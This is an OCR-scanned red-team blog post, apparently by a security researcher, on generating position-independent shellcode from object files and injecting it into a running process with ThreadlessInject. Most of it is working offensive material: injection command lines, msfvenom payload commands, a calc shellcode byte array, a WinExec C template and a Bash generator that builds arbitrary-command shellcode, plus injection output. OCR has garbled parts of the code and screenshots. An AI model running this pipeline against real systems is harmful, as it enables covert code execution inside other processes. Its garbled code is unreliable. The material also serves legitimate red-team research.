Adopting Position Independent Shellcodes from Object
Files in Memory for Threadless Injection
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In this blog I will describe a way to automate the generation of Position Independent
Shellcodes from object files in memory (by @NinjaParanoid) to be used in Threadless
Process Injection (by @_ EthicalChaos_).

s

WHERE'S THE GENERATOR?

Function Stomping / Threadless Injection

One of the items from my endless TODO-list that I never crossed out was the topic of
Function Stomping by Ido Veltzman. Luckily, Ceri Coburn presented an awesome research
on Threadless Process Injection accompanying a ready-to-use injector in C# which made me
get back to that long-forgotten TODO.

Pop-the-Calc Shellcode

While playing with ThreadlessInject and porting it to the DInvoke API, one of the obvious
desires of mine was to test it with a different shellcode. As a Proof-of-Concept Ceri provides a
classic Pop-the-Calc shellcode which works smoothly but may not be enough during a real
engagement:
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$notepadId = (Start-Process notepad -PassThru).Id; .\ThreadlessInject.exe -p
$notepadId -d kernel32.dll -e OpenProcess

PowerShell x 4+ ~

PS C:\Repos\ThreadlessInject\bin\x64\Release> .\ThreadlessInject.exe
[1] pid, dl1 and export arguments are required
elp Display this help
ellcode=VALUE Path/Basesd for x64 shellcode payload |(default: calc launcher)
Target process ID to inject
The DLL that that contains the export to patch (must be KnownDll)
The exported function that will be hijacked
readlessInject\bin\x6U\Release> Start-Process notepad; .\ThreadlessInject.exe (Get-Process notepad).Id kernel32.d1ll OpenProcess
el32.dll!0penProcess @ @x7ffd753eb5be
Opened process with id 4628
No shellcode supplied, using calc shellcode
Allocated loader and shellcode at 8x7ffde5368080 within process 4020
Shellcode injected, Waiting 66s for the hook to be called
Shellcode executed after 4,8333945s, export restored
PS C:\Repos\ThreadlessInject\bin\x6u\Release>

| Kanbk... —

Bua [MMpaeka Cnpaeka

Cip 1, cn6 1 100% Windows (CRLF) UTF-8

Hackers looove popping calcs!

Well, what will a hacker do to generate a shellcode? Summon msfvenom , of course:

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o msf-calc.bin

Providing the msf-calc.bin shellcode to ThreadlessInject.exe with -x option expectedly
results in exiting the target process after calc has been spawned:

$notepadId = (Start-Process notepad -PassThru).Id; .\ThreadlessInject.exe -x .\msf-
calc.bin -p $notepadId -d kernel32.dll -e OpenProcess
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PowerShell X = - o X

PS C:\Repos\ThreadlessInject\bin\x64\Release> Start-Process notepad; .\ThreadlessInject.exe Z:\share-host\msf-calc.bin (Get-Process notepad).Id kernel3z.dll OpenFrocess\

Unwanted termination of parent process with MSF shellcode

Changing the EXITFUNC= option during the generation process doesn’t seem to be helpful:

msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=none -f raw -o msf-calc-none.bin
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=process -f raw -o msf-calc-
process.bin

msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f raw -o msf-calc-
thread.bin

It’s a known thing that MSF-exec payloads are better to be started from a fresh thread ‘cause
the shellcode doesn’t treat the stack gently. Furthermore, a hint about the required shellcode
behavior is kindly left by the author of ThreadlessInject in the comments:

// x64 calc shellcode function with ret as default if no shellcode supplied

static byte[] x64 = {
0x53, 0x56, 0x57, 0Ox55, 0x54, 0x58, 0x66, 0x83, OXE4, OxXFO, 0x50, OXx6A,
OXx60, Ox5A, 0x68, 0x63, 0x61, Ox6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0Ox8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, OxAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, OX7E, 0x30, 0x03, 0x57, 0x3C,
Ox8B, Ox5C, 0x17, 0x28, 0x8B, 0x74, Ox1F, 0x20, 0x48, 0x01, OXFE, 0x8B,
0x54, Ox1F, 0x24, Ox0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, OxAD, 0x81,
0x3C, 0x07, 0x57, O0x69, OX6E, 0x45, 0x75, OXEF, 0x8B, 0x74, Ox1F, 0x1C,
0x48, 0Ox01, OXFE, 0x8B, 0x34, OXAE, 0x48, 0x01, OxF7, 0x99, OxFF, 0xD7,
0x48, 0Ox83, OxC4, 0x68, Ox5C, 0x5D, Ox5F, Ox5E, 0Ox5B, OxC3 };
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That is to say, the ret instruction should be supplied when the shellcode’s job is done in
order to return the execution flow back to the caller (i. e., the assembly stub) as well as

proper stack alignment should be performed with registers preserved. So let’s take a look at
both shellcodes side-by-side with objdump.

STDIN
d,DWORD PTR [rax+@0x24]
00000000 <.data>: 3 d r8, rdx
0: 3 h 6 mov cx,WORD PTR [r8+rcx*2]
mov r8d,DWORD PTR [rax+@x1c]
add r8, rdx
mov eax,DWORD PTR [r8+rcx#4]
add rax,rdx
a pop r8
sp,0xfffo : pop
Tax d: pop
pop
pop
pop
pop
pop
sub
PTR dx 2 push
PTR jmp
PTR i pop
PTR rsi : pop
PTR pop
PTR i 2 mov
PTR [rdi+@x 7 f jmp
x,DWORD PTR [rdi+r: 2 d pop
,DWORD PTR [rdi+rb> 2 movabs rdx,0x1
rsi,rdi
edx,DWORD PTR [rdi+r 2 lea rcx, [rbp+0x101]
mo ebp,WORD PTR [rdi+r mov r10d,0x876f8bh31
lea edx,[r | d call rbp
lods eax,DWORD PTR rsi] 2 56 mov ebx,0x56a2b5f0
69 6e 45 cmp DWORD PTR [rdi+r 2 d mov r10d,0x9dbd95a6
jne © : d call rbp
mov ,DWORD PTR [rdi+rbx*1+0x1c] H 3 c add rsp,0x28
add rsi,rdi : 3c 06 cmp al,0x6
mov ,DWORD PTR [rsi+rbpx4] H c jl 0x103
add r' rsi H cmp bl,0xed
cdq jne 0x103
call 3 6 mov ebx,0x6f721347
add 6 | 3 6 push 0x0Q
pop r pop rex
pop r H d mov rlod,ebx
pop o B d call rbp
pop r : 63 61 6¢C movsxd esp,DWORD PTR [rcx+@x6c]
pop rbx : 63 2 movsxd ebp,DWORD PTR [rsi]
ret : 6 6 gs js 0x178

/mnt/share-host - c E /mnt/share-host [1
55 /x64/exec CM lc.exe aw
s selected, cho sf :: Module ::
ed, selecti a x64 from the
, outputting raw payload
+

Saved a
/mnt/share-host 4 e [ ] /mnt/share-host [1 2
bjdumg binary in i386 | gr 6 gw32-objdum binary msf-calc.bin i386

Comparing calc shellcodes

As we can see no ret is observed within the MSF shellcode... Dunno whether the dynamic
way of MSF generator puts the CMD= value onto the stack (via that call rbp instruction)
does also negatively impacts our situation but we definitely don’t get desired behavior — the
parent process dies.

So what can we do about it?

Where’s the BetenaterGenerator?

Honestly, I don’t know any other FOSS shellcode generator besides msfvenom so I started
to google Btw, the builtin default shellcode for ThreadlessInject is as old as time and can be
found in numerous GitHub repos and gists.

Among other things, I considered the following options:
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e Look for less-known open source shellcode generators for Windows x64 — failed due to
a total lack of them (though win-x86-shellcoder seems to be a nice project for x86).

e Use an existing Pop-the-Calc .asm file as template for generating a WinExec shellcode
with an arbitrary argument (OS command) — failed due me being lazy. Good examples
of such ‘static’ calc shellcodes (with a static 1pCmdLine argument for WinExec) are
win-exec-calc-shellcode and x64win-DynamicNoNull-WinExec-PopCalc-Shellcode by
Bobby Cooke.

e Play with popular PE — shellcode techniques like sRDI, donut, pe to_shellcode, etc.

While testing the 3rd option I came along this terrific article by @KlezVirus — From Process
Injection to Function Hijacking — which covers Function Stomping topic in great depth
(one more blogpost in my TODOSs).

As I was looking for a quick example to be used with ThreadlessInject, my attention was
caught by one of the references to another blog of maldev magician Chetan Nayak —
Executing Position Independent Shellcode from Object Files in Memory — which we shall
focus on further.

The same technique is used by Aleksandra Doniec in pe_to_shellcode and by @KlezVirus in
inceptor.

PIC from Object Files

In his blog Chetan provides a way to build a C function with a small assembly stub for proper
stack alignment and returning to the caller gracefully.

In order to make sure that our shellcode is always stack aligned, we will write a small assembly
stub which will align the stack and call our C function which would act as our entrypoint. We
will convert this assembly code to an object file which we will later link to our C source code. —
Chetan Nayak (@NinjaParanoid)

rn getprivs

»al alignstack

segment .text

5/8


https://github.com/ommadawn46/win-x86-shellcoder
https://github.com/peterferrie/win-exec-calc-shellcode
https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode
https://twitter.com/0xBoku
https://github.com/monoxgas/sRDI
https://github.com/TheWover/donut
https://github.com/hasherezade/pe_to_shellcode
https://twitter.com/KlezVirus
https://klezvirus.github.io/RedTeaming/AV_Evasion/FromInjectionToHijacking/
https://twitter.com/NinjaParanoid
https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/
https://twitter.com/hasherezade
https://github.com/hasherezade/pe_to_shellcode
https://twitter.com/KlezVirus
https://github.com/klezVirus/inceptor/blob/dev/inceptor/pic-generator.py
https://snovvcrash.rocks/assets/images/pic-generation-for-threadless-injection/bruteratel-alignstack.png

alignstack assembly stub (bruteratel.com)

With the ability to dynamically resolve exported symbols of WinExec (which resides within
kernel32.d1l ) we can extract the opcodes from the compiled binary and use them as a
Position Independent shellcode. That’s exactly what we need!

I shall git clone his demo repository and write a template to execute a command of my choice
using WinExec based on the given example of constructing the getprivs function:

// template.c

#include "addresshunter.h"
#include <stdio.h>

typedef UINT(WINAPI* WINEXEC)(LPCSTR, UINT);
void exec() {

UINT64 kernel32dll;

UINT64 WinExecFunc;

kernel32dll = GetKernel32();

CHAR winexec_c[] = {'w','i','n','E','x", 'e','c', 0};
WinExecFunc = GetSymbolAddress((HANDLE)kernel32dll, winexec_c);

CHAR cmd_c[] = {'<CMD>', 0};
( (WINEXEC)WinExecFunc)(cmd_c, <SHOWWINDOW>);

}

Then with a bit of Bash automation we get a working alternative for the MSF
windows/x64/exec CMD= -f raw payload generator:
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#!1/usr/bin/env bash

# Usage:

# generate.sh <CMD> <SHOWWINDOW>

# Examples:

# generate.sh 'calc.exe' 10

# generate.sh 'cmd /c "whoami /all" > C:\Windows\Tasks\out.txt' O

CMD="${1}"
SHOWWINDOW="${2}" # https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-
winuser -showwindow

CMD="echo "${CMD}" | grep -0 . | sed -e ':a;N;$'ba;s/\n/\x27,\x27/g"'"
CMD="${CMD//\\/\\\\\\\\}"

#echo -e "CHAR cmd_c[] = {'${CMD}'};\n((WINEXEC)WinExecFunc)(cmd_c,
${SHOWWINDOW});\n"

cat template.c | sed "s#<CMD>#${CMD}#g" | sed "s#<SHOWWINDOW>#${SHOWWINDOW}#g" >
exec.c

nasm -f win64 adjuststack.asm -o adjuststack.o

x86_64-w64-mingw32-gcc exec.c -Wall -m64 -ffunction-sections -fno-asynchronous-
unwind-tables -nostdlib -fno-ident -02 -c -0 exec.o -Wl,-Tlinker.ld, --no-seh

x86_64-w64-mingw32-1d -s adjuststack.o exec.o -0 exec.exe

echo -e “for i in $(objdump -d exec.exe | grep "A " | cut -f2); do echo -n "\x$i";
done” > exec.bin

if [ -f exec.bin ]; then
echo "[*] Payload size: “stat -c%s exec.bin” bytes"
echo "[+] Saved as: exec.bin"

fi

rm exec.exe exec.o exec.c adjuststack.o
Generate and execute:
./generate.sh 'cmd /c "whoami /all" > C:\Windows\Tasks\out.txt' ©

[*] Payload size: 640 bytes
[+] Saved as: exec.bin
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PowerShell

PS C:\Repos\ThreadlessInject\bin\x64\Release> gc C:\Windows\Tasks\out.txt €p866

PS C:\Repos\ThreadlessInject\bin\x6U\Release> Start-Process notepad; .\ThreadlessInject.exe —x|Z:\share-host\exec.bin
[=] Found kernel32.dll!OpenProcess @ 8x7ffd753eb5be

[=] Opened process with id 9620

[=] Allocated loader and shellcode at 8x7ffd85360000 within process 9626

[+] shellcode injected, Waiting 68s for the hook to be called

[+] shellcode executed after 3,03U758Us, export restored |
Ps C:\Repos\ThreadlessInject\bin\x64\Release> gc C:\Windows\Tasks\out.txt

(Get-Process notepad).Id -d kernel32.dll -e OpenProcess

| BesbimanHeIA — BnokHoT

Oaiin Mpaska Oopwar Bua Crpaska

CBepenns o nonbsosatene

Nonb3oaTens SID

nighteity\snovverash S-1-5-21-2513662962-556311701-4231341873-1134

Coepenns o rpynnax

Cip1,cme 1 100%  Windows (CRLF) UTF-8

rpynna ATpubyTH

Bee
BUILTIN\Nonb3oBaTeny
BUILTIN\MoNb30BaTe M KYPHANOB NPOM3BOANTENLHOCTH

Xopouo

n3BecTHas

NcesaoHAM
Ncesgonnn

rpynna

O6msaTensHas rpynna,
O6szaTenbHas rpynna,
O6msaTensHas rpynna,

BKMYEHH M0 yHONuaHMD,
BKMIOYEHH N0 YHONUaHUD,
BKMYEHH MO yHONUaHMD,

BKK4EHHaR
BKIOYEHHaR
BKK4EHHaR

rpynna
rpynna
rpynna

BUILTIN\AQMUHACTPATOPH

NT AUTHORITY\WHTEPAKTUBHBHE
HOHCONLHBIA BXOL

NT AUTHORITY\Mpoweaune nposepKy
NT AUTHORITY\[laHHas OpraHu3auma
NOKANBHHE Xopowo W3BecTHaa rpynna
NIGHTCITY\AQMuHucTpaTops AomeHa Fpynna

MoATEEPHAEHHOE LEHTPOM NPOBEPKA MOMNMHHOCTY YAOCTOBEPEHUE XOPOWO W3BECTHAA rpynna
NIGHTCITY\lpynna c sanpemennem pennukauwi naponeit RODC  Mcesgonnm

O6m3aTenbHas MeTKa\CpenHuii 063aTenbHuii yposeHb MeTka

MceepoHum

Xopowo W3BecTHas rpynna
Xopouwo W3eecTHas rpynna
Xopowo W3BecTHaA rpynna
Xopouwo W3BecTHas rpynna

rpynna, ucnonb3yemas Tonbko AnA 3anpera

O6m3aTenbHas rpynna, BKMGMEHH MO yMOAYaHM0, BKAKMEHHas rpynna
06s3aTensHas rpynna, BKMGUEHH MO yMONuaHMo, BKMKYeHHAs rpynna
06A3aTensHaA rpynna, BKMKMEHH MO YMONMaHMW, BKIKMEHHaA rpynna
0653aTensHan rpynna, BKMBUEHH MO yMONUaHU, BKIKMEHHAR rpynna
06A3aTensHan rpynna, BKMWMEHH MO YMONMaHMG, BKIKMEHHAA rpynna
pynna, ucnonbsyemas Tonbko Ans 3anpera

06m3aTenbHan rpynna, BKMWMEHH MO yMONMaHWo, BKIKMEHHan rpynna

BKnoueHs Mo yMonuauue, Brikdenwas rpynna, flokansHas rpynna

CBepenns o npusmneruax

Wus npusmne rum Onucauue

O6nacts, kpait

seshutdownPrivilege
seChangeNotifyPrivilege
seUndockPrivilege
seIncreaseworkingsetp:
seTimeZonePrivilege

3asepuenne paGoTH cHCTemMs oTRMoueH
06X0R NepeKpecTHOi NpoBepKH BKARNEH
OTKMbYEHHE KOMMbOTEPA OT CTHKOBOUHOrO Y3Na OTRMMNEH
ilege Yeennienne paGouero Ha6opa npouecca OTKRMKNEH
3HeHenHe vacoBoro nosca oTRMoueH

Execution of customly generated shellcode

Happy hacking!
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